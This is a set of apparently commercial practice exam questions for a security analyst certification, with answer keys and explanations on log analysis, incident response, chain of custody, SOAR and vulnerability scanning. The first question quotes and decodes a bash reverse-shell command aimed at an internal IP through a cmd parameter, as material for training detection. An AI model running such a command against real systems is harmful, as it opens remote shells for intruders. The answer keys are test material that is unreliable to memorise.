A security analyst identifies the following log entry in the web server logs:
10.203.10.23 - - [22/May/2024 11:06:29] "GET /admin?cmd=bash+-i+>%26+/dev/tcp/10.20.10.22/1234+0%3E%261 http/1.1" 200 -
Which of the following best explains the log entry?
A. This was caused by an administrator logging in to a website using the command line.
B. This is a successful lateral movement abusing an RCE vulnerability.
C. This is a failed attack attempting to exploit an LFI vulnerability.
D. This was caused by a successful RFI vulnerability exploitation.
Show Answer
Correct Answer: B
Explanation: The request contains a URL-encoded bash reverse shell (`bash -i >& /dev/tcp/10.20.10.22/1234 0>&1`) passed via a `cmd` parameter, which is characteristic of remote code execution through command injection. The HTTP 200 response indicates the request was processed successfully. This is not indicative of LFI or RFI, and it is not a normal administrative login. The reverse shell would provide remote shell access to the compromised host, consistent with successful exploitation of an RCE vulnerability and enabling attacker movement.
Question 86
A security manager reviews the permissions for the approved users of a shared folder and finds accounts that are not on the approved access list. While investigating an incident, a user discovers data discrepancies in the file. Which of the following best describes this activity?
A. Filesystem anomaly
B. Illegal software
C. Unauthorized changes
D. Data exfiltration
Show Answer
Correct Answer: C
Explanation: The presence of accounts with permissions that are not on the approved access list, combined with discovered data discrepancies, indicates the file has likely been modified by unauthorized users. This is best classified as unauthorized changes, reflecting a compromise of data integrity. Filesystem anomalies refer to unusual filesystem behavior, illegal software concerns unauthorized applications, and data exfiltration involves unauthorized data removal rather than modification.
Question 87
Which of the following is the practice of controlling how evidence is handled to ensure its integrity during an investigation?
A. Chain of custody
B. Root cause analysis
C. Incident response
D. Evidence collection
Show Answer
Correct Answer: A
Explanation: Chain of custody is the documented process that tracks and controls the collection, handling, transfer, storage, and preservation of evidence to maintain its integrity and admissibility throughout an investigation.
Question 89
Which of the following is the appropriate phase in the incident response process to perform a vulnerability scan to determine the effectiveness of corrective actions?
A. Lessons learned
B. Reporting
C. Recovery
D. Root cause analysis
Show Answer
Correct Answer: C
Explanation: A vulnerability scan to verify that remediation and corrective actions were effective is performed during the Recovery phase, before systems are returned to normal operation. Lessons learned and reporting occur after recovery, while root cause analysis focuses on identifying why the incident occurred rather than validating remediation.
Question 90
An organization adds an MSSP to supplement its security monitoring operations during weekends and holidays. Which of the following would best demonstrate procurement value to the Chief Information Security Officer?
A. Stakeholder validation metrics
B. Mean time to respond
C. Alert volume
D. Number of escalations per week
Show Answer
Correct Answer: B
Explanation: The procurement value of adding an MSSP for weekend and holiday monitoring is best demonstrated by improved operational outcomes, particularly reducing the time it takes to respond to security incidents during periods when internal coverage is limited. Mean time to respond (MTTR) is a key performance metric that directly reflects this benefit. Alert volume does not indicate effectiveness, stakeholder validation is subjective, and the number of escalations alone does not measure improved security outcomes.
Question 91
Which of the following best explains the importance of playbooks for incident response teams?
A. Playbooks define compliance controls and help keep the monitoring process that is in place fully aligned with regulatory requirements as designed by international rules.
B. Playbooks help implement mitigation controls to prevent the occurrence of incidents in accordance with internal policies and procedures as designed by the IT team.
C. Playbooks set baseline requirements that are implemented before incidents happen to ensure the proper monitoring process in order to collect metrics and KPIs that will be used for lessons-learned procedures after a postmortem analysis.
D. Playbooks help minimize negative impacts and restore data, systems, and operations through highly detailed, preplanned procedures that will be followed when particular types of incidents occur.
Show Answer
Correct Answer: D
Explanation: Incident response playbooks provide detailed, predefined procedures for handling specific types of security incidents. They enable consistent, rapid, and coordinated response efforts to minimize damage, contain incidents, and restore affected systems and operations efficiently. The other options describe compliance, preventive controls, or monitoring baselines rather than the primary purpose of incident response playbooks.
Question 92
After updating the email client to the latest patch, only about 15% of the workforce is able to use email. Windows 10 users do not experience issues, but Windows 11 users have constant issues. Which of the following did the change management team fail to do?
A. Implementation
B. Testing
C. Rollback
D. Validation
Show Answer
Correct Answer: B
Explanation: The issue affects Windows 11 users but not Windows 10 users after deploying the latest email client patch, indicating the change was not adequately tested across supported environments before implementation. Implementation clearly occurred, rollback is a recovery step after problems are detected, and validation confirms the change met objectives after deployment, but the OS-specific compatibility issue should have been identified during testing.
Question 93
An analyst notices that logs contain multiple events for computer account changes during monthly patch maintenance windows, resulting in a flood of tickets. The events generated are from the same system and time frame. The analyst determines that these tickets could be closed without human interaction. Which of the following is the best tool for automatically closing tickets containing the same information?
A. SOAR
B. EDR
C. CASB
D. SIEM
Show Answer
Correct Answer: A
Explanation: SOAR (Security Orchestration, Automation, and Response) is designed to automate security workflows, including ticket handling and case management. In this scenario, repeated, known-benign events occurring during scheduled maintenance can be automatically identified and the associated tickets closed without analyst intervention. A SIEM aggregates and correlates logs but does not primarily automate ticket closure workflows; EDR focuses on endpoint detection and response, and CASB secures cloud service usage.
Question 94
Security analysts can review the Windows Registry on endpoints to get insights into:
A. domain account privileges.
B. mandatory access control zones.
C. system-critical configuration items.
D. application and security event logs.
Show Answer
Correct Answer: C
Explanation: The Windows Registry is a hierarchical database that stores operating system and application configuration, hardware and driver settings, user profiles, startup entries, and security-related policies. Reviewing it provides insight into system-critical configuration items. Domain account privileges are primarily managed in Active Directory or local security policy, mandatory access control zones are not represented by the Registry, and application/security event logs are stored in Windows Event Logs rather than the Registry.
Question 95
An analyst finds that duplicate entries may exist in the asset inventory, which is skewing vulnerability scan data. Which of the following is the best way for the analyst to improve the effectiveness of the vulnerability scan?
A. Device fingerprinting
B. Network mapping
C. Uncredentialed reports
D. Dynamic scans
Show Answer
Correct Answer: A
Explanation: Device fingerprinting uniquely identifies assets based on stable characteristics such as hardware, operating system, services, and other attributes. This helps detect and consolidate duplicate asset records, improving inventory accuracy and preventing duplicated or skewed vulnerability scan results. Network mapping identifies topology, uncredentialed reports affect scan depth, and dynamic scans do not address duplicate inventory entries.
$19
Get all 535 questions with detailed answers and explanations
Instant download HTML + PDF delivered the moment payment clears.
Secure Stripe checkout we never see or store your card details.
7-day refund if files are defective see our refund policy.